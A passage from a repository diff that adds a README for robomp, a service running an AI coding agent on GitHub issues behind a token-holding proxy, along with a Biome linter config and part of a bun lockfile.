body has `## Repro` / `## Cause` / `## Fix` / `## Verification` and
|
||||
`Fixes #N`.
|
||||
- `question` → one comment, suffixed with a 👎-to-keep-open prompt; if the
|
||||
issue author doesn't react 👎 within `ROBOMP_QUESTION_AUTOCLOSE_HOURS`
|
||||
(default 4), the issue auto-closes as `state_reason=completed`. A follow-up
|
||||
comment or external close cancels the schedule synchronously.
|
||||
- `enhancement` / `proposal` → one comment, no PR.
|
||||
- `invalid` / `duplicate` → one brief comment.
|
||||
|
||||
Follow-up issue comments and PR review comments resume the same omp session
|
||||
(`--continue` against the persisted JSONL transcript). On orchestrator
|
||||
restart, in-flight events are re-queued and resume the same way.
|
||||
|
||||
## Architecture
|
||||
|
||||
Two containers, one trust boundary:
|
||||
|
||||
- **robomp** — FastAPI + sqlite event queue + `WorkerPool` running `omp` in
|
||||
per-issue worktrees under `/data/workspaces/`. Holds the HMAC key, never
|
||||
the PAT.
|
||||
- **gh-proxy** — sibling on an `internal: true` network. Holds `GITHUB_TOKEN`,
|
||||
verifies HMAC-signed requests from robomp, executes REST + `git push`.
|
||||
Only egress to `api.github.com`.
|
||||
|
||||
Flow: webhook → HMAC verify → `github_events.route` → sqlite `events`
|
||||
(dedup on `X-GitHub-Delivery`) → `WorkerPool` claims under
|
||||
`BEGIN IMMEDIATE` with an in-process `_inflight` set per `(owner, repo, n)`
|
||||
→ `sandbox.ensure_workspace` produces a worktree on `farm/<8hex>/<slug>`
|
||||
→ `worker.run_task` spawns `omp --mode rpc` with `cwd=worktree`,
|
||||
persistent `session_dir`, model randomly drawn from `ROBOMP_MODEL` (CSV).
|
||||
|
||||
The agent uses omp's built-in tools (`read`/`edit`/`bash`/`lsp`, scoped to
|
||||
the worktree) plus the host tools in `src/robomp/host_tools.py` — the
|
||||
exclusive surface for GitHub writes. Every host-tool invocation is audited
|
||||
into the `tool_calls` table with credential-redacted args and results.
|
||||
|
||||
## Setup
|
||||
|
||||
Requires Docker Compose v2 and a LiteLLM-style proxy on the host that your
|
||||
`~/.omp/agent/models.yml` points at. The oh-my-pi source tree is needed at
|
||||
both build and run time; by default `bun run` recipes resolve it via
|
||||
`scripts/with-pi-root.sh`:
|
||||
|
||||
1. `$PI_ROOT` if set and pointing at a checkout (use this when you already
|
||||
have one — e.g. at `/work/pi`).
|
||||
2. `/work/pi` if it exists.
|
||||
3. Otherwise auto-cloned into `./.cache/oh-my-pi` on first `bun run`.
|
||||
|
||||
Override the clone via `ROBOMP_PI_REPO_URL`, `ROBOMP_PI_REF`,
|
||||
`ROBOMP_PI_CACHE_DIR`; force a refresh with `ROBOMP_PI_AUTO_UPDATE=1`.
|
||||
|
||||
Bot account needs **Write** on every repo in `ROBOMP_REPO_ALLOWLIST`. A
|
||||
fine-grained PAT with Contents / Issues / Pull requests RW + Metadata R is
|
||||
enough.
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
$EDITOR .env
|
||||
openssl rand -hex 32 # ROBOMP_GH_PROXY_HMAC_KEY
|
||||
openssl rand -hex 32 # GITHUB_WEBHOOK_SECRET
|
||||
|
||||
bun run pi-artifacts # build oh-my-pi/artifacts:dev (one-time / on pi change)
|
||||
bun run build && bun run up
|
||||
curl -fsS http://localhost:8080/healthz
|
||||
```
|
||||
|
||||
The bundled `docker-compose.yml` runs in gh-proxy mode by default. To run
|
||||
the orchestrator directly with the PAT in-process (host CLI, tests),
|
||||
comment out `ROBOMP_GH_PROXY_URL` / `ROBOMP_GH_PROXY_HMAC_KEY` and set
|
||||
`GITHUB_TOKEN`. The two modes are mutually exclusive (`config.py`
|
||||
rejects a `.env` setting both).
|
||||
|
||||
Build invalidation is bounded: editing roboomp Python touches only the
|
||||
runtime layer; editing pi source rebuilds `oh-my-pi/artifacts:dev`, which
|
||||
roboomp's Dockerfile consumes via `COPY --from=`.
|
||||
|
||||
### Public URL
|
||||
|
||||
roboomp does not ship a tunnel. Cloudflare, smee, ngrok are all fine. The
|
||||
recommended ingress rule restricts the public hostname to
|
||||
`/webhook/github` exactly; `/healthz`, `/events`, `/issues`, `/replay`
|
||||
stay localhost-only.
|
||||
|
||||
### GitHub webhook
|
||||
|
||||
In *Settings → Webhooks*: payload URL `https://…/webhook/github`, content
|
||||
type `application/json`, secret = `GITHUB_WEBHOOK_SECRET`, events =
|
||||
*Issues, Issue comments, Pull requests, Pull request reviews, Pull
|
||||
request review comments*. GitHub's `ping` should produce
|
||||
`POST /webhook/github 202` within a second.
|
||||
|
||||
### Configuration
|
||||
|
||||
See `.env.example` for the authoritative variable list. The shipped
|
||||
`docker-compose.yml` uses per-service `environment:` allowlists rather
|
||||
than `env_file:`, so `GITHUB_TOKEN` only reaches the gh-proxy container.
|
||||
|
||||
## CLI
|
||||
|
||||
The container entrypoint is `python -m robomp serve`. Other commands run
|
||||
inside the running container:
|
||||
|
||||
```bash
|
||||
docker compose exec robomp robomp triage owner/repo#123 # synthesize an issues.opened and wait
|
||||
docker compose exec robomp robomp replay <delivery_id> # re-enqueue a stored event and wait
|
||||
docker compose exec robomp robomp status # dump issues table
|
||||
docker compose exec robomp robomp cleanup owner/repo#123 # force workspace removal, state=abandoned
|
||||
```
|
||||
|
||||
`bun run …` shortcuts in `package.json` cover the common ones
|
||||
(`bun run triage`, `bun run replay`, `bun run sql`, `bun run events`,
|
||||
`bun run logs`, `bun run sh`, etc.).
|
||||
|
||||
## Tests
|
||||
|
||||
```bash
|
||||
pytest -x tests/ # unit suite, no network
|
||||
ROBOMP_INTEGRATION=1 pytest -x tests/test_worker_smoke.py
|
||||
```
|
||||
|
||||
The integration test spawns a real `omp --mode rpc` against an
|
||||
`httpx.MockTransport` GitHub and a local bare repo, so it needs `omp` on
|
||||
`PATH`. `bun run test` runs the unit suite.
|
||||
|
||||
## Security posture
|
||||
|
||||
- `GITHUB_TOKEN` lives only in the gh-proxy container. The orchestrator
|
||||
refuses to start if it sees `GITHUB_TOKEN` in its own environment.
|
||||
- Orchestrator → gh-proxy is HMAC-SHA256 signed with a ±30s skew window
|
||||
and constant-time compare.
|
||||
- `git push` inside gh-proxy uses `git -c http.extraheader=…` with the
|
||||
token passed through an ephemeral process env var; the remote URL in
|
||||
`.git/config` stays token-free.
|
||||
- gh-proxy has no host port. The `robomp_internal` network is
|
||||
`internal: true` (no ingress, no egress); gh-proxy joins `default`
|
||||
only to reach `api.github.com`.
|
||||
- Agent subprocess env is scrubbed of `GITHUB_TOKEN` /
|
||||
`ROBOMP_GH_PROXY_HMAC_KEY` / friends via `worker._SCRUBBED_ENV_KEYS`.
|
||||
- Webhook signatures: bad sig → `401` (so GitHub stops retrying), never
|
||||
`5xx`.
|
||||
- `git` errors flow through `git_ops.GitCommandError` which redacts
|
||||
`https://user:pw@host` to `https://***@host` from argv, stdout, stderr
|
||||
before raising. `host_tools._audit` only records agent-supplied args.
|
||||
- Pre-push gates (`gh_push_branch`): branch matches the workspace
|
||||
branch, working tree clean, every commit on
|
||||
`origin/<default>..HEAD` carries `ROBOMP_GIT_AUTHOR_NAME` +
|
||||
`ROBOMP_GIT_AUTHOR_EMAIL`.
|
||||
- Pre-PR gates (`gh_open_pr`): when the repo defines them, `bun run fix`
|
||||
runs first (any diff auto-committed as `style: bun run fix`) and then
|
||||
`bun check`. A failing `bun check` returns to the agent as
|
||||
`RpcCommandError` for iteration.
|
||||
- `gh_open_pr` validates `## Repro` / `## Cause` / `## Fix` /
|
||||
`## Verification` headers and a `Fixes`/`Closes`/`Resolves #N`
|
||||
reference before opening.
|
||||
|
||||
## Operational notes
|
||||
|
||||
- **One PR per issue.** Follow-up events push amendments to the same
|
||||
`farm/<hex>/<slug>` branch.
|
||||
- **No PR without a recorded repro.** Persona prompt requires
|
||||
`repro_record`; `mark_unable_to_reproduce` closes the loop when
|
||||
reproduction genuinely fails.
|
||||
- **Crash recovery.** On startup, `db.reset_stuck_running()` flips
|
||||
`running` rows back to `queued`. Existing `<session_dir>/*.jsonl`
|
||||
triggers `--continue`. Drain bounded by
|
||||
`ROBOMP_SHUTDOWN_DRAIN_TIMEOUT_SECONDS` (25s) +
|
||||
`ROBOMP_SHUTDOWN_KILL_TIMEOUT_SECONDS` (5s); compose
|
||||
`stop_grace_period: 30s` covers both.
|
||||
- **Logs.** Structured JSON on stdout, rotated to
|
||||
`/data/logs/robomp.log.jsonl`.
|
||||
- **Inspection** (localhost only): `GET /events?limit=N`,
|
||||
`GET /issues?limit=N`, `GET /healthz`, `GET /readyz`, and the
|
||||
dashboard at `/`.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Symptom | Check |
|
||||
|---|---|
|
||||
| `401 invalid signature` | `GITHUB_WEBHOOK_SECRET` mismatch with the repo webhook config. |
|
||||
| Container exits with `PI_ROOT … missing` | `/work/pi` mount empty inside the container; on the host either set `PI_ROOT` to a valid oh-my-pi checkout or delete `.cache/oh-my-pi` and re-run `bun run up` to re-clone. |
|
||||
| `git push: Authentication required` | Bot PAT lacks push, or `ROBOMP_BOT_LOGIN` ≠ PAT's account. |
|
||||
| `refusing to push: commit author identity mismatch` | Some commit not authored as `ROBOMP_GIT_AUTHOR_*`. The error lists the offending shas; `git commit --amend --reset-author --no-edit`. |
|
||||
| `refusing to push: working tree is dirty` | Uncommitted agent edits. Or just call `gh_open_pr`, which auto-commits `bun run fix` output. |
|
||||
| `bun check failed before PR creation` | Fix the reported failure and retry `gh_open_pr`. |
|
||||
| `Failed to load pi_natives` | Wrong arch / missing native. `bun run pi-artifacts` then `bun run build`. |
|
||||
| `No API key found for <provider>` | `~/.omp/agent/models.yml` mount missing or provider id mismatch with `ROBOMP_MODEL`. |
|
||||
|
||||
## Layout
|
||||
|
||||
```
|
||||
src/robomp/
|
||||
server.py FastAPI app, /webhook/github, /events, /issues, /replay, dashboard at /
|
||||
github_events.py verify_signature + route()
|
||||
queue.py WorkerPool, dispatch loop, per-issue _inflight serialization
|
||||
tasks.py triage_issue, handle_comment, handle_pr_conversation, handle_review, cleanup_workspace
|
||||
worker.py synchronous omp RPC driver, prompt assembly, env scrubbing
|
||||
host_tools.py classify_issue, set_issue_labels, gh_post_comment, repro_record,
|
||||
gh_push_branch, gh_open_pr, gh_request_review,
|
||||
mark_unable_to_reproduce, abort_task, fetch_issue_thread
|
||||
sandbox.py clone pool + worktree lifecycle
|
||||
github_client.py typed httpx client; webhook payload parsing
|
||||
proxy_client.py GitHubProxyClient + HMAC signer
|
||||
db.py sqlite schema + DAOs
|
||||
config.py pydantic Settings; mode-exclusive PAT vs gh-proxy validation
|
||||
cli.py serve / triage / replay / status / cleanup
|
||||
prompts/ system_append.md + per-task kickoff templates
|
||||
tests/ pytest unit suite + one ROBOMP_INTEGRATION=1 smoke test
|
||||
web/ vite + solid dashboard, built into src/robomp/static/
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
MIT.
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 263 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 694 KiB |
@@ -0,0 +1,59 @@
|
||||
{
|
||||
"vcs": {
|
||||
"enabled": true,
|
||||
"clientKind": "git",
|
||||
"useIgnoreFile": true,
|
||||
"defaultBranch": "main"
|
||||
},
|
||||
"linter": {
|
||||
"enabled": true,
|
||||
"includes": ["**"],
|
||||
"rules": {
|
||||
"recommended": true,
|
||||
"a11y": "off",
|
||||
"correctness": {
|
||||
"noUnusedImports": "error",
|
||||
"noUnusedVariables": { "level": "warn", "fix": "none" },
|
||||
"noVoidTypeReturn": "off"
|
||||
},
|
||||
"style": {
|
||||
"noNonNullAssertion": "off",
|
||||
"useConst": "error",
|
||||
"useNodejsImportProtocol": "off"
|
||||
},
|
||||
"suspicious": {
|
||||
"noExplicitAny": "off",
|
||||
"noControlCharactersInRegex": "off",
|
||||
"noEmptyInterface": "off",
|
||||
"noConstEnum": "off"
|
||||
}
|
||||
}
|
||||
},
|
||||
"formatter": {
|
||||
"enabled": true,
|
||||
"indentStyle": "space",
|
||||
"indentWidth": 2,
|
||||
"lineWidth": 100,
|
||||
"lineEnding": "lf"
|
||||
},
|
||||
"javascript": {
|
||||
"formatter": {
|
||||
"semicolons": "always",
|
||||
"quoteStyle": "double",
|
||||
"trailingCommas": "all",
|
||||
"bracketSpacing": true,
|
||||
"arrowParentheses": "always"
|
||||
}
|
||||
},
|
||||
"files": {
|
||||
"includes": [
|
||||
"web/src/**/*.ts",
|
||||
"web/src/**/*.tsx",
|
||||
"web/*.ts",
|
||||
"!**/node_modules/**/*",
|
||||
"!web/dist/**/*",
|
||||
"!src/robomp/static/**/*"
|
||||
]
|
||||
},
|
||||
"assist": { "actions": { "source": { "organizeImports": "on" } } }
|
||||
}
|
||||
@@ -0,0 +1,348 @@
|
||||
{
|
||||
"lockfileVersion": 1,
|
||||
"configVersion": 1,
|
||||
"workspaces": {
|
||||
"": {
|
||||
"name": "robomp",
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "^2.4.14",
|
||||
},
|
||||
},
|
||||
"web": {
|
||||
"name": "robomp-web",
|
||||
"version": "0.1.0",
|
||||
"dependencies": {
|
||||
"solid-js": "^1.9.12",
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/vite": "^4.0.14",
|
||||
"@types/node": "^22.10.5",
|
||||
"tailwindcss": "^4.0.14",
|
||||
"typescript": "^5.7.3",
|
||||
"vite": "^5.4.14",
|
||||
"vite-plugin-solid": "^2.11.6",
|
||||
},
|
||||
},
|
||||
},
|
||||
"packages": {
|
||||
"@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
|
||||
|
||||
"@babel/compat-data": ["@babel/compat-data@7.29.3", "", {}, "sha512-LIVqM46zQWZhj17qA8wb4nW/ixr2y1Nw+r1etiAWgRM6U1IqP+LNhL1yg440jYZR72jCWcWbLWzIosH+uP1fqg=="],
|
||||
|
||||
"@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
|
||||
|
||||
"@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="],
|
||||
|
||||
"@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="],
|
||||
|
||||
"@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="],
|
||||
|
||||
"@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="],
|
||||
|
||||
"@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="],
|
||||
|
||||
"@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.28.6", "", {}, "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug=="],
|
||||
|
||||
"@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="],
|
||||
|
||||
"@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="],
|
||||
|
||||
"@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="],
|
||||
|
||||
"@babel/helpers": ["@babel/helpers@7.29.2", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.29.0" } }, "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw=="],
|
||||
|
||||
"@babel/parser": ["@babel/parser@7.29.3", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-b3ctpQwp+PROvU/cttc4OYl4MzfJUWy6FZg+PMXfzmt/+39iHVF0sDfqay8TQM3JA2EUOyKcFZt75jWriQijsA=="],
|
||||
|
||||
"@babel/plugin-syntax-jsx": ["@babel/plugin-syntax-jsx@7.28.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w=="],
|
||||
|
||||
"@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
|
||||
|
||||
"@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
|
||||
|
||||
"@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
|
||||
|
||||
"@biomejs/biome": ["@biomejs/biome@2.4.15", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.4.15", "@biomejs/cli-darwin-x64": "2.4.15", "@biomejs/cli-linux-arm64": "2.4.15", "@biomejs/cli-linux-arm64-musl": "2.4.15", "@biomejs/cli-linux-x64": "2.4.15", "@biomejs/cli-linux-x64-musl": "2.4.15", "@biomejs/cli-win32-arm64": "2.4.15", "@biomejs/cli-win32-x64": "2.4.15" }, "bin": { "biome": "bin/biome" } }, "sha512-j5VH3a/h/HXTKBM50MDMxRCzkeLv9S2XJcW2WgnZT1+xyisi+0bISrXR82gCX+8S9lvK0skEvHJRN+3Ktr2hlw=="],
|
||||
|
||||
"@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.4.15", "", { "os": "darwin", "cpu": "arm64" }, "sha512-rF3PPqLq1yoST79zaQbDjVJwsuIeci/O+9bgNmC5QpgOqz6aqYuzA4abyAGx+mgyiDXn4A049xAN8gijbuR1Qg=="],
|
||||
|
||||
"@biomejs/cli-darwin-x64": ["@biomejs/cli-darwin-x64@2.4.15", "", { "os": "darwin", "cpu": "x64" }, "sha512-/5KHXYMfSJs1fNXiX30xFtI8JcCFV6zaVVLxOa0M2sfqBKHkpQhRTv94yxQWxeTY2lzo2OuTlNvPC+hDQt2wcQ=="],
|
||||
|
||||
"@biomejs/cli-linux-arm64": ["@biomejs/cli-linux-arm64@2.4.15", "", { "os": "linux", "cpu": "arm64" }, "sha512-owaAMZD/T4LrD0ELNCk0Km3qrRHuM0X6EAyVE1FSqGY0rbLoiDLrO4Us2tllm6cAeB2Ioa9C2C08NZPdr8+0Ug=="],
|
||||
|
||||
"@biomejs/cli-linux-arm64-musl": ["@biomejs/cli-linux-arm64-musl@2.4.15", "", { "os": "linux", "cpu": "arm64" }, "sha512-ZPcxznxm0pogHBLZhYntyR3sR+MrZjqJIKEr7ZqVen0Rl+P/4upVmfYXjftizi9RoqZntg33fv/1fbdhbYXpEQ=="],
|
||||
|
||||
"@biomejs/cli-linux-x64": ["@biomejs/cli-linux-x64@2.4.15", "", { "os": "linux", "cpu": "x64" }, "sha512-0jj7THz12GbUOLmMibktK6DZjqz2zV64KFxyBtcFTKPiiOIY0a7vns1elpO1dERvxpsZ5ik0oFfz0oGwFde1+g=="],
|
||||
|
||||
"@biomejs/cli-linux-x64-musl": ["@biomejs/cli-linux-x64-musl@2.4.15", "", { "os": "linux", "cpu": "x64" }, "sha512-CNq/9W38SYSH023lfcQ4KKU8K0YX8T//FZUhcgtMMRABDojx5XsMV7jlweAvGSl389wJQB29Qo6Zb/a+jdvt+w=="],
|
||||
|
||||
"@biomejs/cli-win32-arm64": ["@biomejs/cli-win32-arm64@2.4.15", "", { "os": "win32", "cpu": "arm64" }, "sha512-ouhkYdlhp/1GghEJPdWwD/Vi3gQ1nFxuSpMolWsbq3Lsq3QUR4jl6UdhhscdCugKU5vOEuMiJhvKj66O0OCq+w=="],
|
||||
|
||||
"@biomejs/cli-win32-x64": ["@biomejs/cli-win32-x64@2.4.15", "", { "os": "win32", "cpu": "x64" }, "sha512-zBrGq5mx5wwpnow4+2BxUvleDM+GNd4sLbPaMapsSLQLD0NGRCquqPBTgN+7XkUteHvj7M+BstuI8tmnV7+HgQ=="],
|
||||
|
||||
"@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.21.5", "", { "os": "aix", "cpu": "ppc64" }, "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ=="],
|
||||
|
||||
"@esbuild/android-arm": ["@esbuild/android-arm@0.21.5", "", { "os": "android", "cpu": "arm" }, "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg=="],
|
||||
|
||||
"@esbuild/android-arm64": ["@esbuild/android-arm64@0.21.5", "", { "os": "android", "cpu": "arm64" }, "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A=="],
|
||||
|
||||
"@esbuild/android-x64": ["@esbuild/android-x64@0.21.5", "", { "os": "android", "cpu": "x64" }, "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA=="],
|
||||
|
||||
"@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.21.5", "", { "os": "darwin", "cpu": "arm64" }, "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ=="],
|
||||
|
||||
"@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.21.5", "", { "os": "darwin", "cpu": "x64" }, "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw=="],
|
||||
|
||||
"@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.21.5", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g=="],
|
||||
|
||||
"@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.21.5", "", { "os": "freebsd", "cpu": "x64" }, "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ=="],
|
||||
|
||||
"@esbuild/linux-arm": ["@esbuild/linux-arm@0.21.5", "", { "os": "linux", "cpu": "arm" }, "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA=="],
|
||||
|
||||
"@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.21.5", "", { "os": "linux", "cpu": "arm64" }, "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q=="],
|
||||
|
||||
"@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.21.5", "", { "os": "linux", "cpu": "ia32" }, "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg=="],
|
||||
|
||||
"@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.21.5", "", { "os": "linux", "cpu": "none" }, "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg=="],
|
||||
|
||||
"@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.21.5", "", { "os": "linux", "cpu": "none" }, "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg=="],
|
||||
|
||||
"@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.21.5", "", { "os": "linux", "cpu": "ppc64" }, "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w=="],
|
||||
|
||||
"@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.21.5", "", { "os": "linux", "cpu": "none" }, "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA=="],
|
||||
|
||||
"@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.21.5", "", { "os": "linux", "cpu": "s390x" }, "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A=="],
|
||||
|
||||
"@esbuild/linux-x64": ["@esbuild/linux-x64@0.21.5", "", { "os": "linux", "cpu": "x64" }, "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ=="],
|
||||
|
||||
"@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.21.5", "", { "os": "none", "cpu": "x64" }, "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg=="],
|
||||
|
||||
"@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.21.5", "", { "os": "openbsd", "cpu": "x64" }, "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow=="],
|
||||
|
||||
